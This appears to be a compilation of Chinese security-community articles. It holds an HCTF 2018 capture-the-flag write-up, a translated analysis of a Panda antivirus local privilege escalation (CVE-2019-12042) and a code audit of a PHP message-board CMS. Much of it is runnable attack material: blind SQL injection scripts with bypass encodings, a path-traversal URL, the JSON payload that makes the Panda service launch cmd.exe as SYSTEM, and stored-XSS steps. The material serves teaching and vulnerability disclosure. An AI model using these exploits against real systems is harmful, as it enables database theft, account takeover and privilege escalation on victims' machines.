<http://www.am0s.com/ctf/128.html>
小密圈专题(1)-配置文件写入问题
<http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html>
HTML5 Security Cheatsheet – HTML5相关XSS攻击载体
<https://github.com/cure53/H5SC>
AlienVault OSSIM / USM远程执行代码
<https://www.rapid7.com/db/modules/exploit/linux/http/alienvault_exec> | 社区文章 |
# HCTF2018_CNSS_WRITEUP
## Reverse
### LuckyStar
base64变表(Upper<->lower)加密，xor rand序列，与目标数组比较。
import base64
def lst2str(input):
ret = ''
for each in input:
ret+=chr(each)
return ret
def switch(input):
input = list(input)
lower = 'abcdefghijklmnopqrstuvwxyz'
upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(len(input)):
each = input[i]
a = lower.find(each)
b = upper.find(each)
if a!= -1:
input[i] = upper[a]
elif b != -1:
input[i] = lower[b]
return ''.join(input)
final = [0x49,0xE6,0x57,0xBD,0x3A,0x47,0x11,0x4C,0x95,
0xBC,0xEE,0x32,0x72,0xA0,0xF0,0xDE,0xAC,0xF2,
0x83,0x56,0x83,0x49,0x6E,0xA9,0xA6,0xC5,0x67,
0x3C,0xCA,0xC8,0xCC,0x05]
src = [0x65,0xF5,0x5C,0xD5,0x2D,0x7D,0x27,0x4C,0xBD,0x86,0xFD,0x3E,0x5E,0xA2,0xAC,0xEA,0xAC,0xE1,0xD3,0x46,0xAA,0x59,0x79,0xB7,0xBF,0xC6,0x3A,0x3E,0xE1,0xCD,0x94,0x60
,0x79,0x7C,0xEA,0x96,0x84,0x0B,0x68,0x38]
dst = [0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58
,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x3D]
for i in range(len(final)):
final[i] ^= src[i] ^ dst[i]
print(base64.b64decode(switch(lst2str(final))))
### PolishDuck
badusb，hex2bin转bin，ida分析函数：
Addr | Function
---|---
0x6F6 | Keyboard.press
0x88D | Keyboard.println
0x8B6 | Keyboard.sleep
提取`sub_9A8`中`println` 的调用参数，将对应字符串输出：
#include<stdio.h>
#include<stdlib.h>
int arr[] = {0x140,0x14c,0x153,0x162,0x177,0x18b,0x1a9,0x1c8,0x1d3,0x1eb,0x1fe,0x25e,0x207,0x21c,
0x227,0x246,0x261,0x270,0x28b,0x298,0x2a3,0x2b1,0x25c,0x2ba,0x2c5,0x2d0,0x2d7,0x2f2, 0x307,0x310,0x25e,0x327,0x346,0x3dc,0x34d,0x364,0x373,0x38f,0x3a6,0x3b3,0x3bf,0x3d0, 0x3df,0x3ef,0x400,0x44b,0x413,0x42c,0x43b,0x44f,0x452,0x490,0x45f,0x46c,0x47d,0x48e,
0x497,0x49e,0x4b5,0x4cb,0x445,0x445,0x4d6,0x44d,0x44d,0x494,0x4e5,0x44f};
int main() {
FILE* fl = fopen("PolishDuck.bin","rb");
char* mem = new char[32730];
fread(mem,32730,1,fl);
fclose(fl);
for(int i =0;i< (sizeof(arr)/4);i++){
printf("%s",mem+0x1950+arr[i]);
}
system("pause");
return 0;
}
得到：
44646+(64094+(71825*((15873+(21793*(7234+(17649*((2155+(74767*(35392+(88216*(83920+(16270+(20151*(5268+(90693*(82773+(716+(27377*(44329+(49366*(((38790+(70247*(97233+(18347+(22117*(((72576+((47541+(46975+(53769*(94005+((72914+(5137+(87544*((71583+(20370+(37968*(17478+((40532+(10089+(13332*((24170+(46845*(16048+(23142*(31895+(62386*(12179+(94552+(((52918+(91580+(((38412+(91537*(70+(98594*((35275+(62912*(4755+(16737*(27595+((43551+(64482*3550))-21031))))))-57553)))))-89883)-38900)))-19517)-79082)))))))))-70643))))-55350)))))-40301))))-83065)))))-52460))-49428)-94686))))))-1653)-65217)))))))))))))))-43827)))))-66562)))
计算结果hexascii2char：
`hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}`
## Pwn
### the end
> 改五字节，函数原型change(dst, src, len)
change(stdout_addr+216, lib_got_addr-0x50, 2)
change(lib_got_addr+0x08, one_gadget_addr, 3)
## Web
### Warmup
http://warmup.2018.hctf.io/index.php?file=source.php%3f/../../../../../ffffllllaaaagggg
### kzone
www.zip源码泄露
member.php 布尔盲注，根据 `Set-Cookie` 来判断
import hashlib
import requests
import re
import random
import time
import threading
import binascii
from urllib import parse
def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()
url = "http://kzone.2018.hctf.io/admin/login.php"
def fuck(payload):
url1 = url
payload = payload.replace(' ', '/**/')
payload = payload.replace('if', '\\u0069f')
payload = payload.replace('or', 'o\\u0072')
payload = payload.replace('substr', 'su\\u0062str')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('=', '\\u003d')
payload = '{"admin_user":"%s"}' % payload
payload = parse.quote(payload)
cookies = {
"islogin": "1",
"login_data": payload
}
return requests.get(url1, cookies=cookies).headers['Set-Cookie']
def two(ind, cont, pos, result):
print("[pos %d start]" % pos)
payload = "' || if((ord(substr(({}),{},1)))>{},1,0)='1"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
text = fuck(payload.format(cont, pos, mid))
if len(text)==181: # True
l = mid + 1
else:
r = mid
result[pos] = chr(l)
print("[pos %d end]" % pos)
def sqli(cont):
print("[Start]")
sz = 60
res = [''] * (sz + 1)
t = [None] * sz
for i in range(1, sz + 1):
if i > sz:
t[i % sz].join()
t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
t[i % sz].start()
for th in t:
th.join()
return "".join(res)
# db = sqli("SELECT database()")
# print(db)
# hctf_kouzone
# tables = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='hctf_kouzone'")
# print(tables)
# F1444g,fish_admin,fish_ip,fish_user,fish_user_fake
# cols = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='F1444g'")
# print(cols)
# F1a9
flag = sqli("select group_concat(F1a9) from F1444g")
print(flag)
# hctf{4526a8cbd741b3f790f95ad32c2514b9}
### admin
源码泄漏
https://github.com/woadsl1234/hctf_flask/
template里面发现登录admin可以拿到flag，unicode过一下strlower去重置密码。
### game
order 参数可以传入 password, 二分 admin 密码.
虽然 MySQL 里比较运算符不区分大小写 (而且不能用 `order by binary password` 或 `order by
ascii(password)`, 被禁了). 不过最后输入 admin 密码的时候也不区分大小写.
import random
import re
import requests
import string
VALID_IDENT = string.ascii_letters + string.digits
PASSLEN = 32
CRTAB6 = '\n' + '\t' * 6
CRTAB7 = '<td>\n' + '\t' * 7
ADMIN = f'{CRTAB7}1{CRTAB6}</td>{CRTAB6}{CRTAB7}admin{CRTAB6}</td>'
def randstr(length, charset=VALID_IDENT):
return ''.join([random.choice(charset) for n in range(length)])
def getuser():
return 'xris_' + randstr(32)
def register(username, password):
URL = 'http://game.2018.hctf.io/web2/action.php?action=reg'
OK = "<script>alert('success');location.href='index.html';</script>"
form = {
'username': username,
'password': password,
'sex': 1,
'submit': 'submit'
}
resp = requests.post(URL, data=form)
if resp.text != OK:
raise Exception(f'register failed with {resp.text}, {password}')
def login(username, password):
URL = 'http://game.2018.hctf.io/web2/action.php?action=login'
OK = "<script>alert('success');location.href='user.php';</script>"
sess = requests.Session()
form = {
'username': username,
'password': password,
'submit': 'submit',
}
resp = sess.post(URL, data=form)
if resp.text != OK:
raise Exception(f'login failed with {resp.text}, {password}')
return sess
def to_bytes(value, length):
retn = bytearray()
while value:
retn.append(value % 128)
value //= 128
retn.reverse()
return retn.ljust(length).decode()
def check(m):
URL = 'http://game.2018.hctf.io/web2/user.php?order=password'
username = getuser()
password = to_bytes(m, PASSLEN)
register(username, password)
sess = login(username, password)
resp = sess.get(URL)
adloc = resp.text.find(ADMIN)
mytag = f'{CRTAB7}{username}{CRTAB6}'
myloc = resp.text.find(mytag)
if adloc == -1 or myloc == -1:
# Should never happen
raise Exception('not found with {password}')
return myloc < adloc
def bsearch(lower, upper, check):
bound = [lower, upper]
while bound[0] + 1 != bound[1]:
m = bound[0] + bound[1] >> 1
bound[check(m)] = m
print(repr(to_bytes(m, 0)))
return bound[0]
def main():
print(bsearch(0, 128 ** PASSLEN, check))
if __name__ == '__main__':
main()
# DSA8&&!@#$%^&D1NGY1AS3DJA
## Misc
### freq game
每一个 level 涉及 4 个字节，给了你 1500 个关于正弦函数 `sin` 的等式，要解出这 4 个字节。管它是什么式子，就直接 C++ 写个大约
$ O\left (\binom {256}{4} \right ) $ 的暴力跑一跑比较一下 eps 就完事了，反正数据不变可以离线跑，然后写个
python 脚本调用一下就好了。
#include<bits/stdc++.h>
using namespace std;
#define pi acos(-1.0)
#define eps 1e-8
const int PAT_TOT = 8;
const int N = 1500;
const int MAX = 256;
double x[N], y[N];
int main() {
for (int i = 0; i < PAT_TOT; ++i) {
scanf("%lf", y + i);
}
for (int i = 0; i < N; ++i)
x[i] = i * 2.0 * pi / (N - 1);
for (int a = 0; a < MAX; ++a)
for (int b = a; b < MAX; ++b)
for (int c = b; c < MAX; ++c)
for (int d = c; d < MAX; ++d) {
bool flag = 1;
for (int i = PAT_TOT - 1; i >= 0; --i) {
double tmp = sin(x[i] * a) + sin(x[i] * b)
+ sin(x[i] * c) + sin(x[i] * d);
if (fabs(tmp * 7 - y[i]) > eps) {
flag = 0;
break;
}
}
if (flag) {
printf("%d %d %d %d\n", a, b, c, d);
return 0;
}
}
return 0;
}
### easy dump
是个Win7虚拟机内存镜像。
可以导出当时的屏幕布局，结合进程目录可以推断出是个画图软件。
恢复画图的内容，分辨率1295*720，偏移151384059。
### guess my key
写了一个神(bao)经(po)网(jiao)络(ben)丢去训练了，跑了大概30分钟拿到flag。
import requests
import os
def cost(a, b):
d = [(i-j)*100*(i-j) for i, j in zip(a, b)]
return sum(d)
challenge_url = "http://150.109.62.46:13577/enc?msg=%s&key=%s"
flag_url = "http://150.109.62.46:13577/enc?msg=%s"
key_list = [0,1,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,0,0,1,1,1]
key = ','.join([str(i) for i in key_list])
while True:
msg_list = bin(int(os.urandom(12).encode('hex'), 16))[2:]
msg = ','.join(msg_list)
c0 = 9999
c1 = 9999
r = requests.get(flag_url % (msg))
res = eval(r.text)
flag_c = eval('['+res['raw_cipher'][1:-1]+']')
for round in range(2*96):
try:
r = requests.get(challenge_url % (msg, key), timeout=3)
res = eval(r.text)
c0 = cost(eval('['+res['raw_cipher'][1:-1]+']'), flag_c)
except Exception:
pass
key_list[round%96] ^= 1
key = ','.join([str(i) for i in key_list])
try:
r = requests.get(challenge_url % (msg, key), timeout=3)
res = eval(r.text)
c1 = cost(eval('['+res['raw_cipher'][1:-1]+']'), flag_c)
except Exception:
pass
if c1 > c0:
key_list[round%96] ^= 1
key = ','.join([str(i) for i in key_list])
print round, c0
else:
print round, c1
if c1 == 0 or c2 == 0;
break
print key
### difficult programming language
键盘流量，解出来的结果是
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~
Malbolge跑一下就是flag
> 解流量代码
import sys
import os
DataFileName = "usb.dat"
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"<TAB>","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"`","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"<TAB>","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":":","34":"\"","35":"~","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
def main():
# check argv
if len(sys.argv) != 2:
exit(1)
# get argv
pcapFilePath = sys.argv[1]
# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))
# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = press.split(":")
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "02": # shift key is pressed.
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
elif Bytes[0] == "01":
if Bytes[2] != "00":
result += ("Ctrl+" + shiftKeys[Bytes[2]])
else:
print "[-] Unknow Key : %s" % (Bytes[0])
print "[+] Found : %s" % (result)
# clean the temp data
os.system("rm ./%s" % (DataFileName))
if __name__ == "__main__":
main()
## Crypto
### xor game
枚举长度，按位考虑，枚举每一位的可能值，然后去密文里异或一遍，异或出来的字符如果不是正常英文诗歌该有的，说明不合法。可以发现密码长度为 21
时每一位都有可能值。每一位候选项不多，最后两位猜一下拿去解一下密文看顺不顺眼就好了。
import base64
def invalid(x):
if chr(x) in '{}[]@#%^*=+':
return True
if x == 10:
return False
if x <= 31 or x >= 128:
return True
return False
cipher = base64.b64decode(open('cipher.txt', 'r').read())
for L in range(1, 32):
c = []
cc = []
for i in range(L):
t = []
for cand in range(32, 128):
flag = True
for j in range(i, len(cipher), L):
tmp = cand ^ cipher[j]
if invalid(tmp):
flag = False
break
if flag:
t.append(chr(cand))
c.append(len(t))
cc.append(t)
if 0 not in c:
print(L, c)
for i in range(L):
print('\t', i, cc[i])
### xor?rsa
裸的 Coppersmith’s short-pad attack
抄个轮子一把梭，调一下 epslion 参数，真香
small_roots 有个 epslion 参数，根据文档，大概是在 $ \frac{1}{e^2} - \frac{kbits+1}{nbits}
$左右最合适
def franklinReiter(n,e,r,c1,c2):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X + r)^e - c2
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
def CoppersmithShortPadAttack(e, n, C1, C2, nbit, kbit):
P.<x,y> = PolynomialRing(ZZ)
ZmodN = Zmod(n)
g1 = x^e - C1
g2 = (x+y)^e - C2
res = g1.resultant(g2)
P.<y> = PolynomialRing(ZmodN)
rres = 0
for i in range(len(res.coefficients())):
rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))
print(rres.degree())
diff = rres.small_roots(epsilon=1/rres.degree()-(kbit+1)/nbit)
print(diff)
recoveredM1 = franklinReiter(n,e,diff[0],C1,C2)
print(recoveredM1)
e = 5
n = ...
C1 = ...
C2 = ...
CoppersmithShortPadAttack(e, n, C1, C2, 2048, 40)
## Blockchain
### ez2win
`_transfer` 转钱完事
* * *
最后，感谢 **_Vidar-Team_** 对又一届优秀赛事的组织。 | 社区文章 |
# Panda反病毒软件本地提权漏洞分析（CVE-2019-12042）
|
##### 译文声明
本文是翻译文章，文章原作者 rce4fun，文章来源：rce4fun.blogspot.com
原文地址：<https://rce4fun.blogspot.com/2019/05/panda-antivirus-local-privilege.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
本文介绍了我在Panda反病毒软件中发现的一个提权漏洞，该漏洞可以将低权限账户提升至`SYSTEM`权限。
受影响版本：版本号低于18.07.03的Panda Dome、Panda Internet Security、Panda Antivirus
Pro、Panda Global Protection、Panda Gold Protection以及版本号高于15.0.4的老版本Panda反病毒软件
18.07.03中已经修复了该漏洞。
## 0x01 漏洞描述
存在漏洞的系统服务为`AgentSvc.exe`，该服务会创建一个全局Section对象以及一个对应的全局事件，每当进程将数据写入共享内存待服务处理时，该事件就会被触发。这些对象在权限管理上存在问题，导致`Everyone`（包括非特权用户）可以控制共享内存以及事件。
## 0x02 逆向分析及漏洞利用
该服务会创建一个线程，无限期等待内存更改事件，并在事件触发后解析内存数据。这里我们简单描述下该服务希望获取的内存数据以及对这些数据的解析方式。
当共享内存起始处的第二个`word`不等于0时，该服务就会调用如下函数，其中指针指向事件列表的头部地址。
列表元素的结构如下所示（后面我们将分析其中字符串的具体含义）：
typedef struct StdList_Event
{
struct StdList_Event* Next;
struct StdList_Event* Previous;
struct c_string
{
union
{
char* pStr;
char str[16];
};
unsigned int Length;
unsigned int InStructureStringMaxLen;
} DipsatcherEventString;
//..
};
如下所示，代码希望获取位于共享内存offset
2处的一个unicode字符串，然后使用该字符串来实例化一个`wstring`对象，并在一个`string`对象中将该字符串转换为ANSI编码。此外，代码在第50行会使用`3sa342ZvSfB68aEq`来初始化一个字符串，将该字符串、攻击者可控的ANSI字符串以及一个字符串对象指针（用于输出）一起传递给`DecodeAndDecryptData`函数。
该函数使用base64解码字符串，然后使用RC2算法（秘钥为`3sa342ZvSfB68aEq`）解密解码后的结果。因此我们输入共享内存的数据必须先经过RC2加密，然后再使用base64编码。
当该函数返回时，解码后的数据会被转化成一个`wstring`。在`do-while`循环中，代码提取由`|`分割的子字符串，将每个子字符串插入列表中。
从该函数返回时，我们会回到线程的主函数（如下所示），其中代码会遍历该列表，将所有字符串传递给`CDispatcher`类中的`InsertEvent`方法（该类位于`Dispatcher.dll`）中。很快我们就知道这里事件（event）所代表的具体含义。
在`Dispatcher.dll`的`CDispatcher::InsertEvent`方法中，我们可以看到该方法会将事件字符串插入一个`CQueue`队列中。
队列元素由`CDispatcher::Run`方法负责处理，该方法运行在另一个线程中，反汇编代码如下所示：
`CRegisterPlugin::ProcessEvent`方法会解析攻击者可控的字符串。查找调试错误信息，我们发现目标使用的是开源的JSON解析器：[https://github.com/udp/json-parser ](https://github.com/udp/json-parser)
知道目标服务希望我们输入数据后，我们需要知道待提交的JSON属性。
`CDispatcher::Initialize`方法会调用一个有趣的方法：`CRegisterPlugins::LoadAllPlugins`，后者会从注册表中读取Panda的安装路径，然后访问`Plugins`目录，加载其中所有的DLL。
这里我注意到有一个DLL：`Plugin_Commands.dll`，从名字来判断该DLL会执行命令行命令。
由于这些DLL包含调试错误信息，因此定位其中包含的方法也非常简单。几秒之后我就找到了`Plugin_Commands.dll`中的`Run`方法。
在该函数中，我们从输入信息中找到了所需的JSON属性：
我们也可以从内核调试器中拦截其中某些JSON信息（我花了几分钟才拦截到一个命令行执行事件）：
与反汇编代码一致，我们可以找到`ExeName`字段、URL以及两个md5哈希。此时我比较好奇我们是否可以执行磁盘上的某些程序，哪些是强制性属性、哪些是可选属性。
跟踪`Run`方法反汇编代码的`SourcePath`属性后，我们找到了解析该属性值的一个函数，该函数会判断该属性指向的是URL还是磁盘上的文件。因此，似乎我们可以使用`file://URI`这种方式来执行磁盘上的文件。
在强制性属性方面，我发现我们至少要提供2个属性：`ExeName`以及`SourcePath`，如下所示：
然而，当我们只使用这两个字段将`CmdLineExecute`事件加入队列中时，我们的进程并没有被成功创建。在调试过程中，我发现`ExeMD5`也是一个强制属性，该属性必须包含待运行程序的MD5哈希。
`CheckMD5Match`函数会动态计算文件哈希，将其与我们在JSON属性中提供的值进行比较。
如果这两个值相匹配，则目标服务会使用`CreateProcessW`来创建进程。
使用如下JSON数据进行测试后，我们就能以`SYSTEM`权限成功执行`cmd.exe`：
{
"CmdLineExecute":
{
"ExeName": "cmd.exe",
"SourcePath": "file://C:\Windows\System32",
"ExeMD5": "fef8118edf7918d3c795d6ef03800519"
}
}
然而，如果我们想执行自己的程序，Panda就会将其标记为恶意软件并删除该程序，即使该文件实际上无害也难以避免。
这其实很容易绕过，我们可以让`cmd.exe`来运行我们的进程。最终我们构造的JSON载荷如下所示：
{
"CmdLineExecute":
{
"ExeName": "cmd.exe",
"Parameters": "/c start C:\Users\VM\Desktop\run_me_as_system.exe",
"SourcePath": "file://C:\Windows\System32",
"ExeMD5": "fef8118edf7918d3c795d6ef03800519" //MD5 hash of CMD.EXE
}
}
在最终的利用代码中，我们从资源区中提取待执行文件并保存到磁盘上，计算目标主机上`cmd.exe`的MD5哈希，构造JSON数据并进行加密及编码处理，然后在事件触发之前将处理结果写入共享内存中。
需要注意的是，在所有支持的Windows系统上，只要安装了受影响的产品，我们都无需重新编译漏洞利用代码就可以顺利运行。
大家可以访问我的[GitHub页面](https://github.com/SouhailHammou/Panda-Antivirus-LPE)下载漏洞利用源代码，欢迎在[推特](https://twitter.com/Dark_Puzzle)上关注我。 | 社区文章 |
# 0x01 前言
审计是一个漫长而艰难的过程，对于像我一样刚刚入门的萌新来说，希望大家可以耐下心来，认真分析源码，审计漏洞，多多分析已经爆出的cms漏洞，有助于提高自己的能力。
自用代码审计工具：seay源码审计
# 0x02 对框架的分析
对于代码审计我喜欢先分析配置文件，然后再进入入口进行分析。
如下是定义了一些基本的类，载入了输入库文件和所有的控制器类。实例化了adminlogin类和userrequest类。（这里对后面代码审计有用）
safety.fun.php的代码审计：
##### 防止SQL注入：
先进行了去除斜杠，然后传入的如果不是数字就进行了加引号。
* * *
##### 防止xss：
这里直接进行本地测试，进行查看。
* * *
##### 判断是否是整数，同时进行了SQL的过滤：
这里比较简单，就是对传入的数字进行了判断，是否在定义的$string_var中，如果在就返回true，如果不在就返回false。
如果后面有单引号之类的注入字符，就返回false，所以同时也避免了SQL注入的问题。
# 0x03 漏洞分析
## （1）后台的SQL注入
功能点：
跟进admin/index.php进行分析。
这里先包含了common.php文件，前面分析到，common.php文件进行了两个类的实例化。
这里进行了判断，由于前面贴图，传入的是一个edituser。继续向下查看。
这里看到对以上传入的location进行了判断。由于上面传入的是edituser，所以$location不为空。进行else，然后执行了menu方法
这里跟进一下$AdminControl变量来源。这里实例化了AdminControl类，这里需要注意（实例化类就要执行构造方法哦）
* * *
Tip：AdminControl类的构造方法如下：
* * *
跟进一下其类下的menu方法，这里就是弹出你用户所对应的权限，由于这里我直接以admin用户测试，所以的话，是个高权限账号，返回的就是adminustrator权限。
这里就是遍历上面的menu找到你所传入的location，然后弹回传入的location，这里弹回的是edituser
然后进行判断，/admin/edituser.Menu.php是否存在，如果存在就进行包含。
这里进入/admin/edituser.Menu.php进行查看。
这里的id，没有进行任何过滤，然后进行了sel方法。
这里跟进sel方法进行查看。传入的变量没有进行任何过滤，导致了SQL注入（这里利用时间盲注）
# -*- coding:utf-8 -*- '''
作者：mrxiaoqin
基于后台的盲注
'''
import requests
import time
url="http://127.0.0.1/ZTJmessage/admin/index.php?location=edituser&id="
header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","Cookie":"PHPSESSID=eke4v1b953niu1gdf9e5hr5gq4"}
i=0
flag=''
while True:
i=i+1
head=32
tail=128
while head<tail:
mid=(head+tail)/2
#payload="-1' or if(ascii(substr((database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
payload="-1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
url1=url+payload
print url1
times=time.time()
re=requests.get(url1,headers=header)
timee=time.time()
if timee-times>2:
head=mid+1
else:
tail=mid
if(head!=32):
flag+=chr(head)
print flag
else:
break
## （2）存储型xss
这里点击保存，看看location中传入了哪些东西。这里抓包发现，传入的是upsiteinfo，实例化的是upsiteinfo
由于这里可以看出，在/admin/index.php中实例化了upsiteinfo.Action.php，这里进入其中，查看方法。
这里判断是否提交，如果提交就进行了来源判断，必须是<http://url/admin/index.php?location=siteinfo>
这里使用AdminLogin的checkpostvalue方法。进行了过滤，过滤之后的数值，进行了更新数据库的操作。
跟进checkpostvalue方法进行查看。（AdminLogin方法是配置文件中实例化的方法）
这里我打断点+本地测试发现，就是经过了数组中方法的逐次过滤。
这里先随意输入，根据bp抓包可以知道。
这里是stat_code是对应的第三方统计代码。经过了toUTF-8和addslanshes_d方法
查看这两个方法。
ToUTF-8方法
addslanshes_d方法，是进行了转义，没有对xss标签进行任何操作，所以就导致了一个存储xss漏洞。
插入经典的xss语句，到前段进行查看。
这里看到已经成功弹出。
* * *
## （3）留言板处的SQL注入
Tip：这里分析的是前台的SQL注入并不是后台哦，如果有小伙伴复现，应该分析127.0.0.1/index.php而不是前面分析的127.0.0.1/admin/index.php
这里查看这块儿代码：这里进行了Action的判定，根据提示可以知道此处的action等于reply。然后进行下一步的判定，如果存在传入的变量id，就进行模板的操作，这里再进行判断，如果不是sel，就进行check_zzs方法过滤传入的id变量。
这里跟进check_zzs方法。
这里对传入的每个数组都进行了测试，这里我进行本地实测。
如果返回的是false，就进行了exit的执行。所以对id进行注入基本上是不可能的。!
找寻注入点2：因为要实例化replay类，所以就包含了replyAction.class.php的控制器。这里查看控制器。!
因为要对文本进行一个注入，因为这里文本输入的是用ReplyContent来进行表示，所以这里对CheckPostFun中的ReplyContent进行方法过滤的查看。经过了ToUtf8和checkok方法的校验。这里跟进Toutf8进行查看。这里知识进行了转化到utf8的编码，无其他实质性的过滤。
这里查看checkok方法。根据他的提示可以得知，这是未进行数据的检查，所以两个都没检查数据。!
这里进行了留言的回复所以跟进留言回复代码。
这里可以看到这里利用了update方法，直接进数据库进行查询，所以就造成了前台的SQL注入问题。注入点：
这里还需要用bp进行抓包修改语句。抓包截图。
这里根据返回情况可以知道，这里是执行了4条SQL语句。具体情况大家可自己下载源码分析。
所以这里可以编写脚本进行自动化的注入，思路（先从返回包中爬取到Replyinputkey然后带入到发送包中进行操作即可），这里和上面脚本大同小异，就不进行脚本的粘贴了。
* * *
## （4）前台公告处的xss
这个漏洞成因呢，是因为百度的富文本编辑器，这里直接可以抓包删除p标签，来实现一个绕过。!
这里可以看到成功弹窗。
具体漏洞链接（[百度富文本编辑器xss漏洞复现](https://cloud.tencent.com/developer/article/1826910)）!
# 0x04 结语
这次代码审计时间还是比较长，用了大概1天半的时间，不过也学习了好多，自己也有在总结，同时也希望像我一样代码审计的小白，能够沉下心来认真的审计一个网站，这样儿也能有助于自己的提高。 | 社区文章 |
Subsets and Splits